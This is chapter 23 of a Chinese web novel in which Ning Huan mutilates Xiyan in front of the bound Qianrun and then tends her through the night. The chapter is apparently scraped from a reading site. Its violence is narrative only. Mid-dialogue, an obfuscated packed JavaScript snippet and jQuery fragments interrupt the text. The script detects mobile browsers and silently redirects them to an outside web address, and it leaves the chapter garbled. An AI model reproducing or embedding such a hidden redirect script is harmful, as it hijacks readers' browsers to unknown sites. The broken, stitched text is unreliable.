23.第二十三章

作品:《宁寰是如何变成白发病娇的

    由于生鲜的进入,火锅暂时止住了沸腾,宁寰又往它肚里填了几段炭,耐心等到菊花汤滚得更厉害,才开始下一步的行动。


    “映雪,你都不觉得奇怪吗?”搅完了一锅菜,他的头一件事便是把匕首往身后一扔,“为了救出一个无关紧要的坏人,这群坏师弟不惜冒着生命危险下山到汤虞国来,半路上也没被哪个魔族咬坏了脸,除了脸皮太厚啃不动,我想还有一个原因:他们怀着不可告人的心思,比你以为的要可怕得多!”


    他笔直地竖起一根手指,冲着千润的眉心戳戳点点,在这样的场合下做出了勤俭持家的发言:“这么好骗,下次再上当我就不来救你了,今天先把这边忙完,剩下的账,回去再跟你慢慢算——夜深了,炭没带够,得省着点。”


    怎么,挨了打的息言不和她算账,享受了袒护的宁寰却要斤斤计较?


    话语颠倒黑白,做作的姿态也是明晃晃的虚假,和着血的腥气,现状像分道扬镳的几匹马一样拉扯着千润的神经;疼痛直往胃里翻涌,意识如快要燃尽的蜡烛般闪闪烁烁。


    有那么几个瞬间,她暂时失去了感官,可依然不幸地看清楚了灰色的鸽子如何扑向息言残缺不全的脸;接着是一阵眩晕,鸽子用破阵曲的节奏大力扇动翅膀,保持身躯轻盈的悬停;又是一阵沉黑压来,而后,鸽子脖颈发力,左右甩动。


    发现她正像被火药作用过的楼宇一样坍塌着,宁寰向宫人们使个眼色,那么,被压在桌上的人又多了一个。


    “为什么要闭眼?”宁寰从斜上方入画,眼神既好奇也笃定:“首先息言是纸片,脸上没几两肉,很快就结束了;其次,这件事只有被你亲眼看着执行才有意义,谁有罪,谁无罪,都交由你来解释。”


    押着千润的宫人用手指撑开她的眼皮,宁寰则负责撞击她意识里的暮鼓晨钟:“给我睁大眼睛瞧仔细了!”


    眼睛的离场权被剥夺,听力是下一个消失的。一阵鸣金声后,灰色鸽子完成了撕扯,在菊花汤中溅起一朵环状的水花。


    千润用尽全力发出最后的嘶吼:“住手!”


    可她并不确定这个声音有没有传到天道的耳朵里。


    “我不。”宁寰像个在书房捣乱弄洒了墨的小儿,稀松平常地一梗脖子,“你不能劝人不为自己报仇,对吧?而且我也没取他性命,我还是很仁慈的。”


    接下来听到的话,千润分不出是现实还是幻觉——


    “你们说的合二为一,道理很简单,不就是一锅烩吗?你猜最后吃到谁的肚子里去了?”


    宁寰用大拇指反指自己:“当然是我的肚子里啦。”


    千润的意识被撕扯殆尽了。


    心里却还剩下一个不受控制的声音在狂笑,不知为何,那个声音最后想说的是:“片个猪头肉搞这么大阵仗,他、他不会以为这样就很了不起了吧?想当初我们在……山……夜不干涸,乳臭未干的小子,你才应该长长见识!”


    她再也支撑不住,五感被揉成一团,投入了阿鼻地狱中。


    不知过了多久,千润在梦中见到了摇晃的山茶花丛。


    有一道火从脚底直烧到心窝里,滚滚的热气蒸透了喉咙口,她不禁张开嘴呼告:“水……”


    立马有温热的酒酿浸润下去,水流不急,可千润咽得太慌,呛了一下,清醒过来。


    睁开眼,宁寰就坐在床头,也许只要花房还没起火,他就能一直保持表面上的波澜不惊。不过眼下的他有一丝异常,头顶上始终梳得整整齐齐的发髻散出了一缕,就像乐师平时太过爱惜的琴,挂在墙上蒙块好缎子,某天在睡梦中,忽地崩断了一根弦——或许记录着他伤人逃逸的慌张,也可能是忙着照顾千润,连形象都顾不上了。


    该从哪里问起?很显然,宁寰才是肉体凡胎的怪物,前夜连着罚跪几个时辰,今天又从早奔波到晚,此刻却比混沌世的非原住民更有精神头,放下碗,还要先审她:“你醒了?还能听得懂人话吗?好。第一个问题,大晚上的背着我去和别人幽会,该当何罪啊?”


    起初还是闲闲搭话的口吻,却像是越想越气,突然拍了床铺一巴掌道:“昨天你也发现自己的身份了,是吧?知法犯法,罪加一等!


    酒酿的酸甜返了一口上来,在千润喉间打个转转,胆战心惊地又下去了——什么意思,幽会才是重点吗?


    事实上,她也在刻意忽略一件事:从扶桑宫到万枝驿,宁寰乘最好的马车也要好些时候才能抵达,千润仅靠两条腿是如何比他先到一步的,他真要刻意忽略这件事吗?


    “我不认这个身份。”针对无关紧要的审问,她只能咬着牙别开脸,对挂在帐顶的药壶说:“你们没有经过我的同意。”


    “那你还怪有血性的,我判你被我原谅。审完了,睡觉睡觉!”


    仿佛正等着她这么回答,宁寰两脚蹬掉鞋子,带着草木气息,香风袭人地爬到了床上。


    千润难以置信:那背叛呢?算计他全家要取他性命呢?听他那时的意思,他一直躲在什么地方偷听,那么究竟听到了几句?算起来,从管他叫“宁寰”开始就很不对劲了吧?然后他竟然一点反应都没有?


    还是说,来都来了,只是为了表演一套生片猪头肉的技巧给她看?那锅菊花汤最后还是浪费了,真可惜……这也不是重点吧!石千润啊石千润,你也一样,到底是哪里出问题了?


    她捧着头问自己:“我到底怎么了?”


    “你在跟谁说话?”


    “我说……我身体哪里出问题了?”


    “这我不好跟你直说。”宁寰翻身下床,“我叫无念来给你解释。”


    “等等等等,夜深了,不好叫人起来第二趟——咦?”


    此话一出,千润的脑海中闪回了被扛回扶桑宫时的片段。第无数次大半夜的被人从被窝里捞起来,无念本来还有些怨言,一见到千润的惨状,慌到什么都忘了:“这这这是怎么了,天天不加节制的终于把自己给喝死了?我看看——哦,是来癸水了呀。”


    千润这才发现身上换了一套干净衣裳,也想起在无念的帮助下擦洗身体的时候,她还苛责式地叨叨了几句:“什么癸水,先烧我一遍,再把身上的火带走了,已经有个‘水’字跟在后面了,硬要分出阴阳的话,应该叫‘巳水’才对吧?”


    “就你话多!来癸水了都不知道提前备着月事带——”


    “你娘以前


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14981002|160154||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没教过你吗?”后半句话是宁寰转述的,他回到了床上,天都快亮了,还要严于律己地例行打坐。


    千润没有娘,不过想想也能理解,这应该是肉体凡胎早已设置好的节律,即便是泥土塑来的也一样。


    “她还说有这东西在,身上总会疼的,但你会越变越好看,疼也值得。我觉得吧——”


    千润料到宁寰又要针对她的黑脸说嘴,暴躁地打断他:“哦是吗,这个疼给你要不要啊?”


    宁寰坦然道:“给我也没用,我已经不能再长得更难看了。”


    千润合上了大张的嘴。观其神色,不像是在假谦虚,她伸长胳膊探了探宁寰的额头,被他晃晃脑袋甩掉了。


    “我没发烧,我有些地方很像我父王,特别特别难看。”说罢,他扯开右边的嘴角,露出亮闪闪的半口大白牙:“从门牙往右数的第四颗牙,是不是歪得不能再歪了?小时候就不怎么端正,换了牙后变得更丑了……”


    那语气中的遗憾和委屈不像假的。千润这回非但难以置信,简直是匪夷所思:“你是在变着法儿地嘲笑我,还是——”


    宁寰放下嘴角:“我的意思是,这么明显的(千润:“哪里明显了啊!”)地方都有缺憾,在你看不到的地方,我更是一个丑八怪。”


    千润想起他烫着火锅时说的话:“意思是被我看着的时候,你大体上可以不是个丑八怪?”


    宁寰为她拍拍手:“反应越来越快了,可喜可贺!”


    看看天色,他也不打坐了,掀开被子往里一钻:“但你也有不对,流着血跑那么大老远,我不着急谁着急?睡觉吧睡觉吧,明天还有一场恶战呢。”


    见千润瞪着眼睛不语,宁寰吓唬她:“虽然你只算半个人吧……但你放心,我早想通了,我什么也不会做的。趁我改主意前快睡!”


    灯一熄,千润的叹息声愈发明显了。


    “息言会怎样?”


    “不怎么样啊,带着那张新面孔活下去呗。”


    在今天之前,千润觉得宁寰还算乖巧,顶多有点斤斤计较、话多、幼稚、矫揉造作、对敌人心狠手辣,可是……


    “这……这不对!”黑暗中,千润一骨碌坐起来,顺着下腹,那股无名火又从心口钻到了脚底。


    “再不对,你也管不了他了,要怪就怪天道吧。”宁寰依然保持着耐心,引导她把注意力转到别的事情上:“你自己都说过,现在的天道没什么变数,不是我打你就是你打我,仙魔大战亦是如此。很久以前有个人告诉我,战争或许有胜有败,但‘战火’这东西本身是不会消弭的,中间固然有休养生息的机会,但每隔一段日子,一切的悲喜都会重复上演,从这点看来,人没有轮回,但也无时无刻不在轮回中。”


    千润摇着头:“这就更不对了……”


    但她也说不出具体哪里不对。


    宁寰笑笑,气息擦着床幔,带来了五感之外的摇晃:“所以啊,我们用一己之力能反抗到何时?”


    千润心想,他该不会也要说“不如归去”吧?


    可是翻个身,他要说的是:“不如就这样留在结界中,它能保护你永远不受任何伤害。歇吧,我累了。”